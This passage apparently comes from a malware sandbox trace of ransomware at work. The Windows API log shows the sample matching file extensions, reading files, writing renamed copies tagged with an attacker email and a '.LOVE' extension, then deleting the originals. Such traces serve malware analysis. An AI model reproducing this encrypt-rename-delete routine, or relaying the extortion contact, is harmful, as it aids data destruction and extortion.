(lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32 [0198.029] lstrlenW (lpString=".1cd") returned 4 [0198.029] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0198.029] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32 [0198.029] lstrlenW (lpString=".jpg") returned 4 [0198.029] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0198.029] lstrcmpiW (lpString1=".BAK", lpString2=".LOVE") returned -1 [0198.029] lstrlenW (lpString="BOOTSECT.BAK") returned 12 [0198.029] CreateFileW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0198.030] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x2d9ff14 | out: lpFileSize=0x2d9ff14*=8192) returned 1 [0198.030] CloseHandle (hObject=0x338) returned 1 [0198.030] GetFileAttributesW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak")) returned 0x27 [0198.030] GetFileAttributesW (lpFileName="C:\\BOOTSECT.BAK.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\bootsect.bak.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0198.030] SetFileAttributesW (lpFileName="C:\\BOOTSECT.BAK", dwFileAttributes=0x26) returned 1 [0198.030] CreateFileW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0198.030] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0198.030] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0198.030] CreateFileW (lpFileName="C:\\BOOTSECT.BAK.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\bootsect.bak.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0198.043] GetLastError () returned 0x0 [0198.043] ReadFile (in: hFile=0x338, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0x2000, lpOverlapped=0x0) returned 1 [0198.780] WriteFile (in: hFile=0x2d8, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x2010, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0x2010, lpOverlapped=0x0) returned 1 [0198.781] ReadFile (in: hFile=0x338, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0x0, lpOverlapped=0x0) returned 1 [0198.781] WriteFile (in: hFile=0x2d8, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0xec, lpOverlapped=0x0) returned 1 [0198.781] SetEndOfFile (hFile=0x2d8) returned 1 [0198.781] CloseHandle (hObject=0x2d8) returned 1 [0198.782] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0198.782] SetEndOfFile (hFile=0x338) returned 1 [0198.783] CloseHandle (hObject=0x338) returned 1 [0198.783] SetFileAttributesW (lpFileName="C:\\BOOTSECT.BAK.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x27) returned 1 [0198.783] DeleteFileW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak")) returned 1 [0198.784] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0198.784] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0198.784] lstrlenW (lpString=".doc") returned 4 [0198.784] lstrcmpiW (lpString1=".doc", lpString2=".BAK") returned 1 [0198.784] lstrlenW (lpString=".docx") returned 5 [0198.784] lstrcmpiW (lpString1=".docx", lpString2="T.BAK") returned -1 [0198.784] lstrlenW (lpString=".pdf") returned 4 [0198.784] lstrcmpiW (lpString1=".pdf", lpString2=".BAK") returned 1 [0198.784] lstrlenW (lpString=".xls") returned 4 [0198.784] lstrcmpiW (lpString1=".xls", lpString2=".BAK") returned 1 [0198.784] lstrlenW (lpString=".xlsx") returned 5 [0198.784] lstrcmpiW (lpString1=".xlsx", lpString2="T.BAK") returned -1 [0198.784] lstrlenW (lpString=".ppt") returned 4 [0198.784] lstrcmpiW (lpString1=".ppt", lpString2=".BAK") returned 1 [0198.784] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0198.784] lstrlenW (lpString=".zip") returned 4 [0198.784] lstrcmpiW (lpString1=".zip", lpString2=".BAK") returned 1 [0198.784] lstrlenW (lpString=".rar") returned 4 [0198.784] lstrcmpiW (lpString1=".rar", lpString2=".BAK") returned 1 [0198.784] lstrlenW (lpString=".bz2") returned 4 [0198.784] lstrcmpiW (lpString1=".bz2", lpString2=".BAK") returned 1 [0198.784] lstrlenW (lpString=".7z") returned 3 [0198.784] lstrcmpiW (lpString1=".7z", lpString2="BAK") returned -1 [0198.784] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0198.784] lstrlenW (lpString=".dbf") returned 4 [0198.784] lstrcmpiW (lpString1=".dbf", lpString2=".BAK") returned 1 [0198.784] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0198.785] lstrlenW (lpString=".1cd") returned 4 [0198.785] lstrcmpiW (lpString1=".1cd", lpString2=".BAK") returned -1 [0198.785] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0198.785] lstrlenW (lpString=".jpg") returned 4 [0198.785] lstrcmpiW (lpString1=".jpg", lpString2=".BAK") returned 1 [0198.785] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0198.785] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0198.785] lstrlenW (lpString=".doc") returned 4 [0198.785] lstrcmpiW (lpString1=".doc", lpString2=".BAK") returned 1 [0198.785] lstrlenW (lpString=".docx") returned 5 [0198.785] lstrcmpiW (lpString1=".docx", lpString2="T.BAK") returned -1 [0198.785] lstrlenW (lpString=".pdf") returned 4 [0198.785] lstrcmpiW (lpString1=".pdf", lpString2=".BAK") returned 1 [0198.785] lstrlenW (lpString=".xls") returned 4 [0198.785] lstrcmpiW (lpString1=".xls", lpString2=".BAK") returned 1 [0198.785] lstrlenW (lpString=".xlsx") returned 5 [0198.785] lstrcmpiW (lpString1=".xlsx", lpString2="T.BAK") returned -1 [0198.785] lstrlenW (lpString=".ppt") returned 4 [0198.785] lstrcmpiW (lpString1=".ppt", lpString2=".BAK") returned 1 [0198.785] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0198.785] lstrlenW (lpString=".zip") returned 4 [0198.785] lstrcmpiW (lpString1=".zip", lpString2=".BAK") returned 1 [0198.785] lstrlenW (lpString=".rar") returned 4 [0198.785] lstrcmpiW (lpString1=".rar", lpString2=".BAK") returned 1 [0198.785] lstrlenW (lpString=".bz2") returned 4 [0198.785] lstrcmpiW (lpString1=".bz2", lpString2=".BAK") returned 1 [0198.785] lstrlenW (lpString=".7z") returned 3 [0198.785] lstrcmpiW (lpString1=".7z", lpString2="BAK") returned -1 [0198.785] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0198.785] lstrlenW (lpString=".dbf") returned 4 [0198.786] lstrcmpiW (lpString1=".dbf", lpString2=".BAK") returned 1 [0198.786] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0198.786] lstrlenW (lpString=".1cd") returned 4 [0198.786] lstrcmpiW (lpString1=".1cd", lpString2=".BAK") returned -1 [0198.786] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0198.786] lstrlenW (lpString=".jpg") returned 4 [0198.786] lstrcmpiW (lpString1=".jpg", lpString2=".BAK") returned 1 [0198.786] lstrcmpiW (lpString1=".xml", lpString2=".LOVE") returned 1 [0198.786] lstrlenW (lpString="auxbase.xml") returned 11 [0198.786] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0198.863] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x2d9ff14 | out: lpFileSize=0x2d9ff14*=1434) returned 1 [0198.863] CloseHandle (hObject=0x338) returned 1 [0198.863] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml")) returned 0x20 [0198.863] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0198.863] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0198.863] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0198.863] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0198.863] lstrlenW (lpString=".doc") returned 4 [0198.863] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0198.863] lstrlenW (lpString=".docx") returned 5 [0198.863] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0198.863] lstrlenW (lpString=".pdf") returned 4 [0198.863] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0198.864] lstrlenW (lpString=".xls") returned 4 [0198.864] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0198.864] lstrlenW (lpString=".xlsx") returned 5 [0198.864] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0198.864] lstrlenW (lpString=".ppt") returned 4 [0198.864] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0198.864] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0198.864] lstrlenW (lpString=".zip") returned 4 [0198.864] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0198.864] lstrlenW (lpString=".rar") returned 4 [0198.864] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0198.864] lstrlenW (lpString=".bz2") returned 4 [0198.864] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0198.864] lstrlenW (lpString=".7z") returned 3 [0198.864] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0198.864] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0198.864] lstrlenW (lpString=".dbf") returned 4 [0198.864] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0198.864] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0198.864] lstrlenW (lpString=".1cd") returned 4 [0198.864] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0198.864] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0198.864] lstrlenW (lpString=".jpg") returned 4 [0198.864] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0198.864] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0198.864] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0198.864] lstrlenW (lpString=".doc") returned 4 [0198.864] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0198.864] lstrlenW (lpString=".docx") returned 5 [0198.864] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0198.864] lstrlenW (lpString=".pdf") returned 4 [0198.864] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0198.864] lstrlenW (lpString=".xls") returned 4 [0198.864] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0198.864] lstrlenW (lpString=".xlsx") returned 5 [0198.865] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0198.865] lstrlenW (lpString=".ppt") returned 4 [0198.865] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0198.865] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0198.865] lstrlenW (lpString=".zip") returned 4 [0198.865] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0198.865] lstrlenW (lpString=".rar") returned 4 [0198.865] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0198.865] lstrlenW (lpString=".bz2") returned 4 [0198.865] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0198.865] lstrlenW (lpString=".7z") returned 3 [0198.865] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0198.865] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0198.865] lstrlenW (lpString=".dbf") returned 4 [0198.866] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0198.866] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0198.866] lstrlenW (lpString=".1cd") returned 4 [0198.866] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0198.866] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0198.866] lstrlenW (lpString=".jpg") returned 4 [0198.866] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0198.866] lstrcmpiW (lpString1=".xml", lpString2=".LOVE") returned 1 [0198.866] lstrlenW (lpString="insertbase.xml") returned 14 [0198.866] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0199.178] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x2d9ff14 | out: lpFileSize=0x2d9ff14*=903) returned 1 [0199.178] CloseHandle (hObject=0x328) returned 1 [0199.178] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml")) returned 0x20 [0199.179] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0199.179] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0199.179] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86 [0199.179] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86 [0199.179] lstrlenW (lpString=".doc") returned 4 [0199.179] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0199.179] lstrlenW (lpString=".docx") returned 5 [0199.179] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0199.179] lstrlenW (lpString=".pdf") returned 4 [0199.179] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0199.179] lstrlenW (lpString=".xls") returned 4 [0199.179] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0199.179] lstrlenW (lpString=".xlsx") returned 5 [0199.179] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0199.179] lstrlenW (lpString=".ppt") returned 4 [0199.179] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0199.179] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86 [0199.179] lstrlenW (lpString=".zip") returned 4 [0199.179] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0199.179] lstrlenW (lpString=".rar") returned 4 [0199.179] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0199.179] lstrlenW (lpString=".bz2") returned 4 [0199.179] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0199.179] lstrlenW (lpString=".7z") returned 3 [0199.179] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0199.179] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86 [0199.179] lstrlenW (lpString=".dbf") returned 4 [0199.179] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0199.179] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86 [0199.179] lstrlenW (lpString=".1cd") returned 4 [0199.179] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0199.179] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86 [0199.179] lstrlenW (lpString=".jpg") returned 4 [0199.180] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0199.180] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86 [0199.180] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86 [0199.180] lstrlenW (lpString=".doc") returned 4 [0199.180] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0199.180] lstrlenW (lpString=".docx") returned 5 [0199.180] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0199.180] lstrlenW (lpString=".pdf") returned 4 [0199.180] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0199.180] lstrlenW (lpString=".xls") returned 4 [0199.180] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0199.180] lstrlenW (lpString=".xlsx") returned 5 [0199.180] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0199.180] lstrlenW (lpString=".ppt") returned 4 [0199.180] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0199.180] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86 [0199.180] lstrlenW (lpString=".zip") returned 4 [0199.180] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0199.180] lstrlenW (lpString=".rar") returned 4 [0199.180] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0199.180] lstrlenW (lpString=".bz2") returned 4 [0199.180] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0199.180] lstrlenW (lpString=".7z") returned 3 [0199.180] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0199.180] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86 [0199.180] lstrlenW (lpString=".dbf") returned 4 [0199.180] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0199.180] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86 [0199.180] lstrlenW (lpString=".1cd") returned 4 [0199.180] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0199.180] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86 [0199.180] lstrlenW (lpString=".jpg") returned 4 [0199.180] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0199.181] lstrcmpiW (lpString1=".xml", lpString2=".LOVE") returned 1 [0199.181] lstrlenW (lpString="keypadbase.xml") returned 14 [0199.181] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0199.185] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x2d9ff14 | out: lpFileSize=0x2d9ff14*=903) returned 1 [0199.185] CloseHandle (hObject=0x328) returned 1 [0199.185] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml")) returned 0x20 [0199.185] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0199.185] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0199.185] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0199.185] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0199.185] lstrlenW (lpString=".doc") returned 4 [0199.185] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0199.185] lstrlenW (lpString=".docx") returned 5 [0199.185] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0199.185] lstrlenW (lpString=".pdf") returned 4 [0199.186] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0199.186] lstrlenW (lpString=".xls") returned 4 [0199.186] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0199.186] lstrlenW (lpString=".xlsx") returned 5 [0199.186] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0199.186] lstrlenW (lpString=".ppt") returned 4 [0199.186] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0199.186] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0199.186] lstrlenW (lpString=".zip") returned 4 [0199.186] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0199.186] lstrlenW (lpString=".rar") returned 4 [0199.186] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0199.186] lstrlenW (lpString=".bz2") returned 4 [0199.186] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0199.186] lstrlenW (lpString=".7z") returned 3 [0199.186] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0199.186] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0199.186] lstrlenW (lpString=".dbf") returned 4 [0199.186] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0199.186] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0199.186] lstrlenW (lpString=".1cd") returned 4 [0199.186] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0199.186] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0199.186] lstrlenW (lpString=".jpg") returned 4 [0199.186] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0199.186] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0199.186] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0199.186] lstrlenW (lpString=".doc") returned 4 [0199.187] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0199.187] lstrlenW (lpString=".docx") returned 5 [0199.187] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0199.187] lstrlenW (lpString=".pdf") returned 4 [0199.187] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0199.187] lstrlenW (lpString=".xls") returned 4 [0199.187] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0199.187] lstrlenW (lpString=".xlsx") returned 5 [0199.187] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0199.187] lstrlenW (lpString=".ppt") returned 4 [0199.187] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0199.187] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0199.187] lstrlenW (lpString=".zip") returned 4 [0199.187] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0199.187] lstrlenW (lpString=".rar") returned 4 [0199.187] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0199.187] lstrlenW (lpString=".bz2") returned 4 [0199.187] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0199.187] lstrlenW (lpString=".7z") returned 3 [0199.187] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0199.187] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0199.187] lstrlenW (lpString=".dbf") returned 4 [0199.187] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0199.187] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0199.187] lstrlenW (lpString=".1cd") returned 4 [0199.187] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0199.187] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0199.187] lstrlenW (lpString=".jpg") returned 4 [0199.188] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0199.188] lstrcmpiW (lpString1=".xml", lpString2=".LOVE") returned 1 [0199.188] lstrlenW (lpString="base.xml") returned 8 [0199.188] CreateFileW 